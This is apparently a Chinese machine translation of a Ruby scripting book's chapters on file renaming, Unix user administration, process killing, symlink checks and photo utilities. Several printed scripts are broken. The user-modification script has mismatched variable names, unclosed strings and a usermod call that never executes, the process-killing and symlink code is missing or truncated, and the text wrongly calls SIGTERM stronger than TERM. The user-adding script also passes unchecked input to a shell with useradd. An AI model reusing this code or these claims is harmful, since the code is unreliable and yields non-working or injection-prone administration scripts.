在图形用户界面(GUI)环境中工作可能会导致在命名约定方面养成坏习惯。GUI 环境可以处理文件名中使用的几乎所有字符,但当这些文件名在命令行中访问时,它们会带来很多麻烦。这个脚本的目的是为了记住那些仍然使用命令行的人……包括我自己。对于所有关于文件命名的不可确定性,一个简单的脚本可以帮助清理和组织它们。这个脚本将根据一组特定的规则重命名文件。
当我想起奇怪的文件名时,图片和音乐文件总是浮现在脑海中。如果你正在分享那次特别的度假照片或展示你乐队最新的即兴演奏会,命名方案会因人而异,并且可能与接收者的操作系统冲突。我将向您展示的脚本将根据您的指定格式化每个文件名。这个脚本非常可定制且效率极高,所以找到一些文件名可疑的文件并将它们通过这个脚本处理。当脚本完成后,你会感到非常惊喜。
代码
#!/usr/bin/ruby unless ARGV[0] puts "用法:ruby fixFilename.rb <filename.ext>" puts "示例:ruby fixFilename.rb '如何(制作)在$500 上赚取 20%的更多利润.pdf'" exit end  old_filename = ARGV[0] unless File.exist?(old_filename)' puts "#{old_filename}不存在。请重试。"  exit end  name = File.basename(old_filename, ".*") ext = File.extname(old_filename)  replacements = { /;/ => "-", /\s/ => "_", /\'\`/ => "=", /\&/ => "_and_", /\$/ => "dollar_", /%/ => "_percent", /[\(\)\[\]<>]/ => "" } replacements.each do |orig, fix| name.gsub!(orig,fix) end  File.rename(old_filename, name + ext)  puts "#{old_filename} ---> #{name + ext}"
运行代码
该脚本通过一个命令行参数运行,即要扫描和可能修复的文件名:
**``./fixFilename.rb *`"How to (make) 20% more on $500.pdf"`*``**
结果
生成的输出将显示旧文件名以及它被转换成了什么。对于这个例子,我创建了一个包含一些讨厌字符的虚假文件。
*`如何(制作)在$500 上赚取 20%的更多利润.pdf ---> How_to_make_20_percent_more_on_dollar_500.pdf`*
工作原理
如“运行代码”部分所述,此脚本依赖于用户将文件名作为参数传递给脚本
。脚本反过来会连接到文件并确保它确实存在。如果用户输入了文件名中的某些错误,脚本不会崩溃,而是会通知用户输入有误并干净地退出
。
接下来,创建了一个名为name的新变量,这样您就可以在不破坏原始文件名的情况下调整它。文件名被从其扩展名中剥离
。我单独隔离了扩展名,以防万一某个过滤器被设置为意外更改扩展名,这样文件仍然可以正常工作。在脚本当前配置中,它只会更改文件名。
该脚本使用名为 replacements 的哈希数据结构来存储所有无效字符及其对应的可接受值。将使用包含 gsub 方法的代码块来进行所有替换。最终结果是 name 将返回,其中所有指定的模式都将被替换。哈希的每一行都专注于特定的“坏字符”!。首先是分号,它是 Linux 中的保留字符,必须进行转义。而不是处理分号,脚本将其替换为破折号。文件名中的所有空白都被转换为下划线,它们看起来与空白相似。反引号(在美国键盘上,此键位于数字 1 的左上角,与波浪号共享)和撇号被转换为等号。符号如 &、% 和 $ 被转换为单词。最后,检查名称中是否有任何括号、花括号和尖括号。任何找到的都将被移除。
脚本的最后一步是重命名文件。使用 rename 方法,脚本将文件重命名为我们全新的操作系统友好名称!。为了对用户表示友好,脚本显示了旧文件名以及它将被转换成什么!。
漏洞脚本
由于每个规则都是这样创建的,因此对这个脚本的进一步扩展非常容易。如果您有更好的表示百分号的方法,那么您可以轻松地编辑相应的代码行。此外,始终有可能为每个文件添加前缀或后缀。脚本很灵活,所以尝试一些变体,看看您是否喜欢。
添加用户
添加用户
addUser.rb
自从图形用户界面(GUIs)的出现以来,向 Unix 和 Linux 系统添加用户变得容易得多。您填写框格,点击添加,就完成了。在 GUIs 之前,以及今天仍然很常见的情况下,系统管理员必须手动在系统上创建每个用户账户。
虽然手动为小型组织创建用户账户的任务可能微不足道,但对于拥有数千用户的庞大企业来说,情况就不同了。手动输入 1,000 个用户的账户信息到计算机系统中是耗时、乏味且最重要的是,浪费人力生产力的。此脚本自动化了向系统添加用户账户的过程。
警告
此脚本依赖于平台,因此请确保您的系统与命令兼容,以避免损坏您的用户文件。
代码
#!/usr/bin/env ruby #使用带有各种参数的'useradd'命令 print "Enter new username: "  user_name = gets.chomp #添加用户组  print "\nEnter primary group: " gname = gets.chomp add_user = "-g #{gname} " while gname print "\nEnter next group (return blank line when finished): " gname = gets.chomp break if gname.empty? add_user << "-G #{gname} " end  #定义用户登录时启动的程序 puts "\n\n\n[1] Bourne Again Shell (bash)" puts "[2] Korn Shell (ksh)" puts "[3] Z Shell (zsh)" puts "[4] C Shell (csh)" print "Which shell do you prefer (default bash)? " sh_num = gets.chomp.to_i shell = case sh_num when 1 then '/bin/bash' when 2 then '/bin/ksh' when 3 then '/bin/zsh' when 4 then '/bin/csh' else '/bin/bash' end add_user << "-s #{shell} " #定义家目录 add_user << "-d /home/#{user_name} " #定义起始文件夹 add_user << "-m #{user_name}" #将用户添加到系统并查看返回值  if(system("useradd #{add_user}")) puts "\n\nSuccessfully added: #{user_name}" else puts "\n\nUnable to add: #{user_name}" end
运行代码
你可以通过遵循脚本给出的提示将用户添加到你的 Unix 类型系统中。通过输入以下命令来运行它:
**`./addUser.rb`** Enter new username: **``*`steve`*``** How many groups will you add? **``*`2`*``** Enter primary group: **``*`admin`*``** Enter next group: **``*`printer`*``** [1] Bourne Again Shell (bash) [2] Korn Shell (ksh) [3] Z Shell (zsh) [4] C Shell (csh) Which shell do you prefer (default bash)? **``*`1`*``** Successfully added: *`steve`*
结果
这个脚本将导致一个用户被添加到你的系统中,其配置由你指定。如果脚本成功,你会看到以下行:
Successfully added: *`steve`*
如果你能够更改新账户的密码,那么你就知道脚本实际上已经工作了。我在 Gentoo Linux 计算机上运行了这个脚本,并且如果没有指定密码,所有账户在创建时都被禁用了。只需输入:
**``passwd *`steve`*``**
并输入你选择的密码两次。接下来,你可以切换用户,使用你的新凭据登录,然后休息一下。如果脚本在创建账户时失败,你将收到一个错误消息。
工作原理
你将不再需要记住每个标志或阅读man页面来简单地添加用户。useradd命令是一种干净的方式来向系统中添加用户,但标志和选项可能有点晦涩难懂。此外,添加超过几个账户可能会变得繁琐。这个脚本完全交互式,将允许任何具有基本系统知识的人轻松添加用户。
在上面的例子中,脚本实际上创建以下字符串,并使用system()命令来执行它:
useradd -g *`admin`* -G *`printer`* -s /bin/*`bash`* -d /home/*`steve`* -m *`steve`*
脚本通过请求新账户的用户名来开始构建字符串
。用户名有两个重要原因:它指定了登录凭证的第一部分,并完成了主目录。接下来是组
。在 Unix 风格的系统中,组很重要,因为它们将权限关联到特定的用户名。在这个例子中,我使用了管理员和打印机组——这些完全取决于你的系统中的组。
在授予用户权限后,脚本会请求 shell 预设
。我提供的 shell 列表(bash、ksh、zsh 和 csh)可能并不都在你的系统上安装,所以你需要相应地进行编辑。Bash 是最常用的 shell,所以我将其定义为默认条目,并在我的示例中使用它。
我们命令字符串的最后一个添加项是主目录和用户名。脚本一开始就要求输入用户名,所以使用那个值。主目录最终是 /home/steve,用户名显然是 steve。
最后,使用 system() 命令执行字符串
,该命令会启动一个子进程并等待子进程终止。如果子进程成功退出,则返回值 true;否则,返回 false。
破解脚本
希望你能意识到,并非所有标志都是创建用户所必需的,但它们确实在初始账户创建过程中简化了生活。通过添加一些额外的代码,这个脚本可以与 CSV 文件集成,以实现自动化用户创建。
不要被我所描述的数据量所压倒,通过修改这些脚本进行破解。如果你认真想要编写自己的脚本,一个好的起点是调整其他脚本,逐步过渡到从头编写脚本……尤其是当它们涉及许多复杂部分时。
修改用户
修改用户
modUser.rb
如果你曾经管理过拥有多个用户的计算机系统,那么你很可能不得不修改现有的账户。根据我的经验,用户账户可以被修改以更新到期日期、更改主目录、调整用户名,或者更常见的是,向其中添加新的组。下面你将找到一个通用的脚本,用于指导用户完成修改过程。请注意,此脚本需要以提升的权限运行。
警告
此脚本依赖于平台,因此请确保你的系统与命令兼容,以避免损坏你的用户文件。
代码
#!/usr/bin/env ruby #使用带有各种参数的命令'useradd' print "请输入要修改的用户名: " user_name = gets.chomp #确定账户将属于多少个组  print "您想将此账户添加到任何组中吗 [y/n]? " gresult = gets.chomp  if (gresults == 'y' || gresults == 'Y') #将组添加到用户中 print "\n 请输入主要组: " gname = gets.chomp mod_user = "-g #{gname} " while gname print "\n 请输入下一个组: " gname = gets.chomp break if gname.empty? mod_user << "-G #{gname} " end end #定义用户登录时启动的程序 print "您想更改启动的 shell 吗 [y/n]? sresult = gets.chomp if (sresults == 'y' || sresults == 'Y') puts "\n\n\n[1] Bourne Again Shell (bash)" puts "[2] Korn Shell (ksh)" puts "[3] Z Shell (zsh)" puts "[4] C Shell (csh)" print "您想选择哪个 shell? " sh_num = gets.chomp.to_i shell = case sh_num when 1 then '/bin/bash' when 2 then '/bin/ksh' when 3 then '/bin/zsh' when 4 then '/bin/csh' else '/bin/bash' end mod_user << "-s ${shell} " end #定义主目录 print "您想更改主目录吗 [y/n]? dresult = gets.chomp if (dresults == 'y' || dresults == 'Y') print "请输入新目录: " dir = gets.chomp mod_user << "-d #{dir} " end #定义新的登录名 print "您想更改登录名吗 [y/n]? lresult = gets.chomp if (lresults == 'y' || lresults == 'Y') print "请输入新的登录名: " name = gets.chomp mod_user << "-l #{name}" end #修改用户并查看返回值 if('usermod #{mod_user}') puts "\n\n 成功修改:#{user_name}\n" else puts "\n\n 无法修改:#{user_name}\n"
运行代码
您至少会被提示五次信息。第一次提示将要求您输入您想要修改的账户的用户名。接下来的四次提示将询问您需要修改账户的哪个部分。
在上面的示例中,我只更改了启动的 shell。下面的脚本交互如下:
**`./modUser.rb`** Enter the username to modify: **``*`steve`*``** Would you like to add this account to any groups [y/n]? **``*`n`*``** Would you like to change the starting shell [y/n]? **``*`y`*``** [1] Bourne Again Shell (bash) [2] Korn Shell (ksh) [3] Z Shell (zsh) [4] C Shell (csh) Which shell would you like? **``*`3`*``** Would you like to change the home directory [y/n]? **``*`n`*``** Would you like to change the login name [y/n]? **``*`n`*``** Successfully modified: *`steve`*
结果
结果将是两条消息之一。要么
成功修改:*`steve`*
或
无法修改:*`steve`*
如果您无法修改用户,您将需要戴上您的故障排除帽,找出原因。
在示例中,每次我重新登录到 steve 账户时,我现在将启动 Z Shell 而不是 Bash。看看有多简单?这个脚本可以给 Unix 新手,并且可以从终端运行而不用担心。
工作原理
脚本的主要组件与 Hacking the Script 中的"#18 添加用户"脚本类似,因为无论你是创建、修改还是删除用户账户,账户的属性都是相同的。虽然我选择了四个我认为最常修改的属性,但它们总是可以被移除以缩短运行时间,或者你可以添加其他属性以满足你的需求。需要修改的属性包括groups、starting shell、home directory和login name。
从用户名开始,脚本开始提示系统管理员确定每个属性是否需要修改
。每次都使用一个简单的条件语句,并查找字母 y。如果用户启用了大写锁定键,脚本也会接受大写字母 Y。任何其他输入,无论是 n、N 还是其他字符,都将被解释为拒绝修改
。我本可以将这个选项添加到条件语句中,但我很容易地应用 .downcase 到 gets 语句,以确保输入始终为小写。
由于脚本的大部分内容都是自我解释的,并且在 Hacking the Script 中的"#18 添加用户"部分有详细说明,因此我不会过多地阐述细节。一个值得注意的有趣点是:如果你希望修改账户的用户名,那么该账户不能被登录。如果你尝试使用su切换到管理员账户,然后修改你刚刚离开的账户,你肯定会看到一个友好的消息声明你无法修改特定的用户。
Hacking the Script
添加用户和修改用户是非常相似的操作,这使得为所有用户操作创建一个一键脚本变得可行。你可以轻松地将 Hacking the Script 中的"#18 添加用户"脚本与此脚本结合,并从中提取一些方法以创建另一个干净的脚本。
终止卡住进程
终止卡住进程
killProcess.rb
应用程序是操作系统的美妙补充。但有时它们会卡住,并开始对你的系统进行自我造成的拒绝服务攻击。一些进程非常顽固,需要额外的努力才能完全终止。这个邪恶的小脚本会直观地识别卡住的进程,并自动终止它们。这难道不是避免额外手动工作的好方法吗?
代码
## 运行代码
脚本几乎完全自主,只需在结束进程前进行确认。要运行它,请输入:
结果
你将得到一系列关于被识别为违规进程的问题。这些问题将看起来像这样:
Would you like to kill: /usr/games/blackjack (y/n)? **``*`y`*``** Killing /usr/bin/blackjack (7274) . . . Would you like to kill: /usr/bin/ruby (y/n)? **``*`n`*``**
它是如何工作的
这段代码的美丽之处在于脚本提取 CPU 时间的方式。如果一个进程已经消耗了超过合理时间的 CPU 周期,那么就是时候结束这个进程了。很可能是这个进程卡住了,阻止了其他应用程序,并浪费了宝贵的系统资源。你可以更改时间限制以适应你的需求,但任何时间段都能通过让 CPU 专注于有意义的数据来提高处理器的效率。
在这个脚本中允许的最大时间是按秒设置的。在脚本中,我任意选择了 5 分钟,即 300 秒
。这个脚本中使用的数据是通过 Ruby 的强大反引号
从系统中检索的。ps命令通过几个参数执行,这将使脚本能够针对滥用进程。h标志从ps输出中移除标题。由于我们指定了使用的字段,因此不需要标记字段。接下来,-e用于显示系统上的所有进程;也可以用-A代替-e。该标志的第二部分是o,该标志允许我们指定输出。命令的其余部分显示了我们要检索的字段:cputime、pcpu、pid、user和command。
现在数据已经以字符串形式捕获到变量ps_list中,必须将其分解成可管理的信息块。这里就派上了高效.split命令的用场,它被用来通过每一行来分割字符串
。如果你还记得ps的输出,每个进程都有自己的行。在将进程分解为其元素之后,我们可以开始检查这些元素。
如果你还没有意识到.each的强大功能,你很快就会明白。变量list包含每个进程及其详细信息的数组。.each指令将遍历每个进程,无论有多少或有多少个
。
尽管我们已经将每个进程与其他进程分开,但我们还需要进一步深入具体进程信息,以隔离字段
。.split的默认分隔符是空白。在.split之前的进程字符串可能看起来像:
*`"00:03:04 0.0 1 steve /usr/bin/ruby"`*
分割后,它将是一个包含五个元素的数组:
*`["00:06:04", "0.0", "1", "steve", "/usr/bin/ruby"]`*
这有多酷?
希望你能看到,每个进程的第一个字段将决定进程的命运。在这个例子中,进程已经运行了六分钟零四秒。为了将数据转换成可用的形式,我们需要将时间转换成秒。我使用了正则表达式和基于时间格式的分组。=~操作符是另一个巧妙的功能;它允许你绕过正则表达式match方法。我经常使用正则表达式进行输入验证——如果你不知道它们,那么花时间去学习它们是非常值得的!
在正则表达式评估数据后,评估将返回每个分组,由括号表示,表示为$1-$n,其中n是组的数量
。下一步是将每个值分解成秒。我们知道每小时有 3600 秒,每分钟有 60 秒。因此,我们将每个分组乘以其对应的秒数并将它们相加
。
评估是通过三个if语句完成的。另一种选择是使用一个非常长的if语句,但我决定反对它,为了保持代码的可读性。一个进程要成为目标,必须满足三个条件。如果这些条件中的任何一个没有得到满足,那么我们就忽略这个进程。这三个条件是:时间超过$max_time秒,所有者不是受保护的用户,以及进程不是系统关键进程
。在脚本中,我加入了一些例子,比如root和kdeinit。在这个区域玩玩,以定制你的需求。
如果你信任脚本只做它所说的,不做更多,你可以移除确认语句。我不完全信任,所以我更喜欢知道我即将终止一个进程。如果用户回答的不是大写或小写的 y,则进程不会被终止——再次强调,我正在使用正则表达式。如果脚本被指示终止进程,它将尝试使用 TERM
。如果你感到特别烦躁,可以自由地将其更改为 SIGTERM,因为它是一种更强烈的终止方式。偶尔,一个进程不会死亡,脚本会通知你。你可以继续重试
,或者通过回答确认行中的“否”来跳过它。一旦脚本处理完每个进程,它将退出。
验证符号链接
验证符号链接
symlinkCheck.rb
符号链接,或称为符号链接,由于许多原因而非常出色:它们简化了令人讨厌的长路径名;你可以把它们放在任何你喜欢的地方;你可以称它们为任何你想要的名字;并且它们通常对用户是透明的。虽然符号链接可以做神奇的事情,但它们成为孤儿(即不再指向有效的目标)时真的很糟糕。因此,为了维护符号链接的声誉,我编写了这个脚本来清理自己的……以及他人的。这是一个家务脚本。
代码
` #!/usr/bin/ruby
unless File.directory?(ARGV[0])
运行代码
脚本仅运行单个目录输入。如果你有一个存放符号链接的目录,这个脚本可以在几秒钟内清理列表。只需输入以下内容:
**``./symlinkCheck.rb *`/directory/of/symlinks`*``**
结果
脚本将立即输出每个被识别为孤立符号链接的路径——其他所有符号链接将被跳过。输出将类似于以下内容:
坏链接:*`/home/steve/Desktop/symlink.txt`*
它是如何工作的
用户输入驱动脚本的流程,因此第一步是收集用户输入(我们正在搜索符号链接的目录)。如果提供了无效的参数,用户将收到通知,并且脚本将退出
。目录使用 Dir.open() 命令打开
。在目录成功打开后,过程将被迭代,并对每个文件进行分析。
一个文件要被视为孤儿符号链接,必须满足两个条件。第一个条件通过next unless语句进行检查
。这个语句检查文件是否是符号链接。如果文件不是符号链接,那么脚本就不需要浪费更多时间分析它;调用next并继续分析其他文件。如果你幸运的话,文件是符号链接,那么脚本将验证这个符号链接实际上是否链接到了某个东西。这个第二个检查基于符号链接指向的目标:方法File.file?将询问目标是否是一个文件
。如果目标不存在,链接就是孤儿的,必须报告给用户以便进一步操作
。脚本完成后,输出将显示坏符号链接的完整路径,以便于识别。剩下的工作就是用户找到每个坏链接的目标或者删除符号链接。
修改脚本
虽然这个脚本只检查文件的符号链接,但目录也可以有符号链接。你可以修改这个脚本以查找无效的目录以及无效的文件链接。试一试,看看你的机器上存在多少意外无效的链接!
第四章。图片工具

摄影是一项美好的爱好。碰巧这也是我的爱好之一,而且作为一个技术爱好者,我有一台超级数码单反相机(DSLR)。我用它拍了大量的照片,并享受之后的数字编辑过程。但我发现,我用数码相机拍的照片比用传统胶片相机拍的多得多。本章中的脚本帮助我管理编辑、转换和调整大量照片的艰巨任务。逐个编辑 500 张照片需要好几天,但通过调整这些脚本,时间可以缩短到几分钟。拿出你的照片,让我们开始编辑吧!
批量编辑
批量编辑
massEdit.rb
好吧,我提到我喜欢拍照。我是说,我真的很喜欢拍照,我有数吉字节的照片来证明这一点。如果需要以某种方式(如重命名)处理所有这些照片,那么逐个对每张照片执行该操作将会非常耗时。这个脚本将一组照片按数字顺序重命名,使其比 DSC_0127.JPEG 更易于管理;原本需要一周的工作现在只需几分钟。
代码
 除非 ARGV[0] puts "\n\n\n 你需要指定一个文件名: massEdit.rb <filename>\n\n\n" exit end  name = ARGV[0] x=0  Dir['*.[Jj][Pp]*[Gg]'].each do |pic|  new_name = "#{name}_#{"%.2d" % x+=1}#{File.extname(pic)}" puts "重命名 #{pic} ---> #{new_name}"  File.rename(pic, new_name) end
运行代码
假设你有一个装满了牙买加度假照片的目录。你可能会想将照片从 DSC_0XXX.jpeg 重命名为 JamaicaXX.jpeg。确保脚本位于包含你想要重命名的照片的目录中,并输入以下内容:
**``ruby massEdit.rb *`Jamaica`*``**
结果
重命名 *`DSC_0001.jpeg ---> Jamaica01.jpeg`* 重命名 *`DSC_0002.jpeg ---> Jamaica02.jpeg`* 重命名 *`DSC_0003.jpeg ---> Jamaica03.jpeg`* 重命名 *`DSC_0004.jpeg ---> Jamaica04.jpeg`* 重命名 *`DSC_0005.jpeg ---> Jamaica05.jpeg`* 重命名 *`DSC_0006.jpeg ---> Jamaica06.jpeg`* 重命名 *`DSC_0007.jpeg ---> Jamaica07.jpeg`* 重命名 *`DSC_0008.jpeg ---> Jamaica08.jpeg`* [...]
工作原理
重命名文件肯定是我整个数码摄影生涯中遇到的最常见的头痛问题之一。这个脚本真的是一个很大的阿司匹林,可以缓解痛苦。脚本首先使用标准的用法/错误消息来提示用户正确的命令行参数
。脚本期望你为所有图片分配一个通用名称。为了这个示例,我将从牙买加之旅中重命名了几张图片,所以将通用名称命名为 Jamaica 只是有道理的。现在 name 已经设置为通用图片名称 Jamaica,变量 x 被初始化以表示每张照片上的尾随数字
。
我决定在这个脚本中使用 Dir::glob 方法(以快捷方式 Dir::[] 的形式)。Dir::glob 的重要性可以从我用来在目录中查找每张照片的表达式中看出。我总是将图片分组放在同一个文件夹中,在这个文件夹中运行这个脚本将捕获所有图片。用英语来说,*.[Jj][Pp]*[Gg] 表示所有以 JPEG 变体结尾的文件都应该被处理。如果你不相信我,创建四个扩展名为 jpg, jpeg, JPG, 和 JPEG 的图片。Dir::glob 会获取所有这些文件,这对于灵活性来说是非常好的!Dir::glob 返回一个数组,因此使用 each 方法遍历每个发现的图片。难点在于找到所有图片;现在剩下的只是重命名它们。
在重命名图片时,我使用了简单的约定。新文件名由 File.extname 方法返回的对象、name、一个下划线和然后是一个数值组成
。File.extname 方法的功能可能并不明显;它只是简单地获取正在重命名的图片的文件扩展名。
你可能自己在想,“他为什么要费劲添加那个疯狂的 x 增量部分
”?这是个好问题。有些操作系统并不足够智能,不知道 Jamaica10.jpeg 是一系列图片中的第十张,而不是第二张。因此,我屈服于操作系统的意愿,让图片名称具有两个数字以确保顺序显示。如果你要重命名超过 99 张图片,你需要将 %.2d 改为 %.3d,这样就会增加一个三位数的占位符,用于百位。
在名称设置并保存到 new_name 变量之后,脚本会出于礼貌打印出旧文件名和新文件名。要执行重命名,使用 File.rename 方法,将原始文件名作为第一个参数,新文件名作为第二个参数
。这就是所有批量文件重命名的全部内容!
图片信息提取
图片信息提取
imageInfo.rb
数字图片文件本身存储了大量的信息。其中一些图片数据,如颜色、分辨率、曝光和闪光设置,在你学习技艺时可能很有用。此脚本将帮助你从图片中提取数据以进行进一步分析,从而深入了解你最佳(和最差)的拍摄效果。
代码
 require 'exifr'  include EXIFR  unless ARGV[0] and File.exists?(ARGV[0])  puts "\n\n\n 你需要指定一个文件名:ruby imageInfo.rb <filename>"  exit end  info = JPEG.new(ARGV[0])  File.open("info_#{File.basename(ARGV[0])}.txt", "w") do |output|  output.puts info.exif.to_hash.map{ |k,v| "#{k}: #{v}"} end
运行代码
此脚本接受一个图像文件作为输入,并返回一个详细的文本文件,列出图像中存储的所有可用信息。在这个例子中,我使用了尼康 D50 DSLR 相机的图像。输入以下内容以运行脚本:
**``ruby imageInfo.rb *`DSC_0001.JPG`*``**
结果
图像描述:制造商:NIKON CORPORATION 模型:NIKON D50 方向:EXIFR::TIFF::TopLeftOrientation X 分辨率:300 Y 分辨率:300 分辨率单位:2 软件:Ver.1.00 日期和时间:Sat Jun 02 13:40:26 +0400 2007 YCB cr 定位:2 感应方法:2 颜色空间:1 测光模式:5 x 分辨率:300 白平衡:0 光圈:9 饱和度:0 像素 X 尺寸:3008 光源:0 原始日期和时间:Wed Sep 12 05:52:34 -0400 2007 y 分辨率:300 分辨率单位:2 数码变焦比率:1 子秒时间:70 曝光程序:0 YCB cr 定位:2 锐度:0 像素 Y 尺寸:2000 闪光:0 数字化日期和时间:Wed Sep 12 05:52:34 -0400 2007 制造商:NIKON CORPORATION 35mm 胶片等效焦距:82 子秒时间原始:70 曝光偏差值:0 焦距:55 模型:NIKON D50 软件:Ver.1.00 场景捕获类型:0 子秒时间数字化:70 最大光圈值:5 主题距离范围:0 自定义渲染:0 压缩每像素比特数:4 日期和时间:Wed Sep 12 05:52:34 -0400 2007 增益控制:0 曝光模式:0 曝光时间:1/320
工作原理
那么数字照片中隐藏的信息怎么样?这些信息并不是真正隐藏的;它们是根据可交换图像文件格式(EXIF)放置在图像中的。除了上述信息外,如果相机具有 GPS 功能,地理信息也可以包含在图像文件的 EXIF 部分。每个相机对其图像的写入方式都不同,所以请检查你的相机以获取具体信息。
此脚本依赖于 exifr 库来检索图像中的重要数据,因此需要该库!
。此脚本还包含一个include语句,它防止我们在每次调用exifr方法时前面都要写EXIFR。接下来是命令行参数验证!
。unless语句验证是否在命令行中包含文件,并且它确实是一个文件。命令行参数使脚本执行更加流畅,这就是为什么你会在整本书中频繁看到它们的使用。如果提供了命令行参数并且文件存在,则脚本创建一个新的名为info的JPEG对象!
。
下一步是向文件写入的练习,你可能还记得之前章节中的内容。我已经将代码部分缩减为几行。不是初始化一个新的File对象,将其保存到变量中,然后将输出定向到变量,我只是将File对象作为代码块的一部分传递!
。由于每个相机的 EXIF 输出不同,并非所有可用的字段都会被使用。例如,如果你的相机不支持 GPS 功能,那么所有这些字段都将为空。我选择使用to_hash函数与map一起将 EXIF 输出转换为易于阅读的内容!
。在结果中,空字段被移除,因为nil属性与我们无关。你可以修改输出以显示字段,但为了简洁起见,我在这里省略了它们。
脚本破解
一旦你对图像 EXIF 部分的数据感到舒适,你可以调整此脚本以仅输出必要的内容。许多专业摄影师对查看特定照片的相机配置的特定方面感兴趣。此脚本是一个完全可定制的工具。查看选项,看看你可能想出的用途。
创建缩略图
创建缩略图
thumbnail.rb
缩略图在同时显示多张图像时非常有用,尤其是在网页上。一个完美的例子是能够在相册中快速查看 25 张照片,而无需点击 下一页 或等待每张大图加载。当有大量图片要查看时,缩略图可以使浏览变得更加轻松愉快。我发现自己在浏览那些将每张图片都放大到最大尺寸的网站时会感到沮丧,最终你会得到一大堆需要滚动查看的图片。这个脚本是制作网页相册的第一步。如果你需要用于网页设计的样本图像或更小的图像尺寸以实现更快的传输,那么这个脚本就适合你。
代码
 require 'RMagick'  include Magick  Dir['*.[Jj][Pp]*[Gg]'].each do |pic|  image = Image.read(pic)[0]  next if pic =~ /^th_/ puts "缩小 10% --- #{pic}"  thumbnail = image.scale(0.10) if File.exists?("th_#{pic}") puts "无法写入文件,缩略图已存在。" next end  thumbnail.write "th_#{pic}" end
运行代码
通过输入以下命令在包含图像的同一目录下运行此脚本:
**`ruby thumbnail.rb`**
结果
结果将是新图像,其大小为原始图像的 10%,命名为:
th_DSC_0001.JPG th_DSC_0002.JPG th_DSC_0003.JPG th_DSC_0004.JPG th_DSC_0005.JPG
工作原理
由于 RMagick 库和 ImageMagick 的强大功能,脚本相对较小。大部分工作都在后台完成——正如它应该做的那样!这是第一个使用 RMagick 方法的脚本,所以我将花点时间解释 RMagick 是什么。
RMagick 是 Ruby 与 ImageMagick 交互的方式。你可能想知道,“什么是 ImageMagick?”ImageMagick 是一套用于处理图像的免费、开源工具。现在我们已经明确了“Magick”,你必须在你的机器上安装 ImageMagick 工具包 (www.imagemagick.org/),并且你还必须安装 Ruby gem RMagick。现在我们可以进入正题。
使用 RMagick,你会发现许多用于操作图像文件的方法。例如,在创建缩略图时,有几种选择,如 resize、scale 和 thumbnail。但不必担心这些,直到你熟悉 RMagick。
这个脚本首先通过 require RMagick
. 由于 RMagick 处理了所有交互,因此不需要 ImageMagick。下一行包含 Magick,这防止脚本专门调用每个 Magick 方法
。而不是使用 Magick::Image.read(),我可以直接输入 Image.read()。再次强调,通过使用 include,你可以节省空间和输入。
接下来是目录扫描
。如果您计划在编写脚本时进行大量目录搜索,请记住这一行。这行代码告诉 Ruby 在当前目录中查找所有与 JPEG 扩展名变体匹配的文件名。接下来,代码块开始处理找到的每个 JPEG 图像。
RMagick 任何图像处理的第一个部分是将图像读入 RMagick 对象
。接下来,我们需要确保我们不是在将缩略图变成缩略图。如果文件名与正则表达式匹配(即以th开头),则跳过并处理下一个图像
。脚本通过将图片缩小到原始大小的 10%来输出结果
。我们使用scale方法和 0.10 来表示 10%,并将所有操作保存到名为thumbnail的变量中。最后一步是将文件以新文件名输出。一如既往,我们在写入之前检查,如果不存在其他具有新名称的文件,则缩略图将被写入目录
。
操纵脚本
对此脚本的一些变体包括将缩略图保存到单独的文件夹或递归搜索子目录以查找图像。我的一个同事甚至添加了一个基于颜色启发式标记图像的功能。我将把这些留给你自己娱乐。
调整图片大小
调整图片大小
resizePhoto.rb
数码单反相机提供了极高的分辨率,但这使得文件变得非常大。很多时候,我发现自己想在网站或电子邮件中使用一张图片,却不得不启动 GIMP 来缩小图片到更易管理的尺寸。这个脚本将快速将图片缩小到您想要的任何尺寸。我们已经在之前的脚本中介绍了如何快速处理文件以生成缩略图(参见“#24 创建缩略图”在创建缩略图)。这个脚本与此类似,但不是将所有内容缩小到 10%,而是在代码中设置最终尺寸——如果您要将图片嵌入到网站框架中,这是一个很棒的功能。
代码
 require 'RMagick' include Magick  unless ARGV[0] puts "\n\n\n 您需要指定一个文件名:resizePhoto.rb <filename>\n\n\n" exit end  img = Image.read(ARGV[0]).first width = nil height = nil  img.change_geometry!('400x400') do |cols, rows, img|  img.resize!(cols, rows) width = cols height = rows end file_name = "#{width}x#{height}_#{ARGV[0]}" if File.exists?(file_name) puts "文件已存在。无法写入文件。" exit end  img.write(file_name)
运行代码
与大多数图片实用脚本一样,这个脚本接受一个图像作为命令行参数。
**``ruby resizePhoto.rb *`DSC_0001.JPG`*``**
结果
结果将创建一个新图像,其名称为:
*`400x267_DSC_0001.JPG`*
工作原理
使用 RMagick 工具包中的两种方法,此脚本在保持宽高比的同时调整图像大小。首先我们require RMagick 和 include Magick
。为了确保用户遵守我们的规则,我们将他的输入通过验证行运行。如果没有提供命令行参数,他需要了解如何运行脚本
。为了开始图像处理,初始化一个新的Image对象,命名为img
。height 和 width 也被初始化,稍后将被用于文件命名的具体细节。
第一种方法,也是保持宽高比的方法是 change_geometry
。我使用了感叹号变体来直接操作图像。用简单的话说,代码
表示“图像必须小于 400x400”,超过限制的第一个测量值将决定另一个测量值。因此,对于原始图像为 3,008x2,000 且限制为 400x400 的情况,宽度测量值是宽度和高度中的较大值。为了保持宽高比,图像将是 400x267。当然,你可以手动计算值以插入到调整大小方法中,但这并不提供太多灵活性。
一旦 change_geometry! 确定了正确的宽高比,就会调用 resize! 来执行新的测量
(再次,感叹号表示直接图像操作)。另外两个变量 width 和 length 存储测量值,用于文件命名时使用。新的图像名称将是宽度乘以长度,所有这些都附加到原始文件名前
。
操纵脚本
此脚本简单直接,但可以进行一些有趣的调整;你可以将维度作为命令行参数,或者从几个预设维度中选择。
为图片添加水印
为图片添加水印
watermark.rb
如果你想在互联网上分享图片时获得认可,水印是一个很好的工具(见图 4-1)。水印有助于确保你仍然是你的数字财产的所有者。如果你有一个标准的水印,此脚本可以将其整合——无论大小。

图 4-1. 带水印的封面图片
代码
 require 'RMagick' include Magick unless ARGV[0] and File.exists?(ARGV[0]) puts "\n\n\n 您需要指定一个文件名: watermark.rb <filename>\n\n\n" exit end img = Image.read(ARGV[0]).first  watermark = Image.new(600, 50)  watermark_text = Draw.new  watermark_text.annotate(watermark, 0,0,0,0, "No Starch Press") do  watermark_text.gravity = CenterGravity self.pointsize = 50 self.font_family = "Arial" self.font_weight = BoldWeight self.stroke = "none" end  watermark.rotate!(45)  watermark = watermark.shade(true, 310, 30)  img.composite!(watermark, SouthWestGravity, HardLightCompositeOp) watermark.rotate!(-90) img.composite!(watermark, NorthWestGravity, HardLightCompositeOp) 